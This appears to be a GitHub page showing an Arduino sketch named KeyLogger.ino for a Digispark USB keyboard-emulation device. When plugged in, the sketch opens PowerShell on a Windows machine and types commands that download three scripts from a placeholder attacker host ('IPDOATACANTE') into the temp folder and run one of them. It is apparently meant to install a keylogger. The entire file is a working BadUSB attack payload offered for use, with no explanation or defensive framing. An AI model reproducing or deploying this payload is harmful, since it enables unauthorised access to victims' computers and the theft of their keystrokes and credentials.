-
Notifications
You must be signed in to change notification settings - Fork 0
/
KeyLogger.ino
22 lines (22 loc) · 887 Bytes
/
KeyLogger.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1500);
DigiKeyboard.print("$WebClient = New-Object System.Net.WebClient;$WebClient.DownloadFile('http://IPDOATACANTE/l.ps1',\"$env:temp/l.ps1\")");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("$WebClient.DownloadFile('http://IPDOATACANTE/c.cmd',\"$env:temp/c.cmd\")");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("$WebClient.DownloadFile('http://IPDOATACANTE/p.ps1',\"$env:temp/p.ps1\")");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("cd $env:temp;./c.cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for (;;) {
}
}